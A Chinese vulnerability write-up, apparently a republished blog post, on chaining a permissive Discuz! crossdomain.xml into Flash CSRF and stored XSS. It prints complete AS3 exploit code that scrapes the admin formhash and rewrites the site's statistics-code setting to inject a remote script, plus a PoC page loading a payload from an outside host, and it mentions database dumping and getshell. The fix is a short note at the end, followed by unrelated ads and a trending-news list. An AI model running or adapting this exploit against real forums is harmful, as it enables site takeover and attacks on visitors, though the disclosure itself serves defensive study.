Discuz! Flash CSRF To Stored XSS
Discuz! 的crossdomain.xml 一直是个大问题,默认的crossdomain.xml如下
< ?xml version="1.0"?>
这里,allow-access-from domain被设置成了 * ,意味着任意站点的 flash 文件都可以对 dz 站点发起 http 请求。
而 discuz 后台的操作只验证了referer头(因为flash可以进行 http 请求,所以对 token 的验证可以 bypass ),referer 头可以通过从 https 站点向 http 站点访问绕过。更有甚者,有一些神奇的插件,使得我们可以访问到上传到 discuz 站点的 flash 文件,直接免去了 referer 头的问题。
后台的 “全局 - 站点信息 - 网站第三方统计代码” 处,可以通过 script 标签引入js,前台访问直接触发,相当于构造了一枚完美的存储型 xss。
以上 3 点,导致了 flash csrf 向存储型 xss 的转变。
首先,编写用于发送请求的flash,as3代码如下:
package
{
import flash.display.Sprite;
import flash.events.Event;
import flash.external.ExternalInterface;
import flash.net.URLLoader;
import flash.net.URLRequest;
import flash.net.URLRequestMethod;
public class discuz extends Sprite
{
var url:String = root.loaderInfo.parameters["url"];
var scriptSrc:String = root.loaderInfo.parameters["src"];
public function discuz()
{
var urlHash:String = url + "admin.php?action=setting&operation=basic";
get(urlHash);
}
private function get(url):void {
/*HTTP GET
*@url, 要请求的 URL
*/
var loader:URLLoader = new URLLoader();
loader.addEventListener(Event.COMPLETE, getFormHash);
var request:URLRequest = new URLRequest(url);
loader.load(request);
}
private function post(url, data):void {
/*HTTP POST
*@url, 要请求的 URL
*@data, POST 的数据
*/
var loader:URLLoader = new URLLoader();
var request:URLRequest = new URLRequest(url);
request.method = URLRequestMethod.POST;
request.data = data;
loader.load(request);
}
private function getFormHash(event:Event):void
{
//获取formhash 后回调,写js.
var loader:URLLoader = URLLoader(event.target);
var pattern:RegExp = /<input type="hidden" name="formhash" value="(\w{8})" \/>/;
var formhash = pattern.exec(loader.data)[1];
var urlPost:String = url + "admin.php";
var script = "<script src='" + scriptSrc +"'></script>";
var data = "action=setting&edit=yes&formhash="+formhash+"&scrolltop=%0d&anchor=%0d&operation=basic";
data += "&settingnew%5bbbname%5d=Discuz%21+Board&settingnew%5bsitename%5d=Comsenz+Inc.&settingnew%";
data += "5bsiteurl%5d=http%3a%2f%2fwww.comsenz.com%2f&settingnew%5badminemail%5d=admin@admin.com&s";
data += "ettingnew%5bsite_qq%5d=%0d&settingnew%5bicp%5d=%0d&settingnew%5bboardlicensed%5d=0&settin";
data += "gnew%5bstatcode%5d="+script+"&settingnew%5bbbclosed%5d=0&settingnew%5bclosedreason%5d=%0d";
data += "&settingnew%5bclosedallowactivation%5d=0&settingsubmit=%cc%e1%bd%bb";
post(urlPost, data);
}
}
}
利用页面poc.html:
<html>
<head>
<title>FlashCSRF POC</title>
</head>
<body>
<h1>Hacked by Chu</h1>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0" width="500" height="500" id="FlashVars" align="middle"/>
<paramname="allowScriptAccess" value="always"/>
<paramname="movie" value="http://localhost/discuz.swf" />
<paramname="FlashVars" value="url=http://localhost/dz3/&src=http://sh3ll.me/1.js"/>
<paramname="quality" value="high" />
<embed src="http://localhost/discuz.swf" quality="high" bgcolor="#ffffff" width="500" height="500" name="FlashVars" align="middle" allowScriptAccess="always" FlashVars="url=http://localhost/dz3/&src=http://sh3ll.me/1.js" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer"/>
</object/>
</body>
</html>
然后,只要我们把这两个文件放在https服务器上,诱使目标访问即可,为了演示攻击效果,我做了个gif图片(图片有点大,耐心等待 :D):
攻击者可完全利用此方法,构造数据包,直接利用 flash 进行脱裤,getshell 等操作.
========================================
经过评估,此问题暂时不能从程序上解决,需要站长在运营的时候,自行设置和修改 crossdomain.xml。
修复办法 将DISCUZ根目录crossdomain.xml 中的 domain="*" 设置为自己的域名 如:
< ?xml version="1.0"?>
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
关注网络尖刀微信公众号
随时掌握互联网精彩
随时掌握互联网精彩
赞助链接
排名
热点
搜索指数
- 1 奋力谱写西部大开发新篇章 4948832
- 2 同一块肉被改日期卖4天 4997994
- 3 00后女孩当穿版模特:几秒换一套 4833314
- 4 中欧班列开行这些年 4713291
- 5 点读机女孩高君雨全网被禁 4652198
- 6 人参泡酒15年后竟“复活” 4572173
- 7 拜登和特朗普赢得宾州党内初选 4494650
- 8 女子楼顶种900余株罂粟涮火锅 4313968
- 9 学生跳楼并给教师留信?谣言 4275284
- 10 刘嘉玲卖楼大赚2100万港元 4106039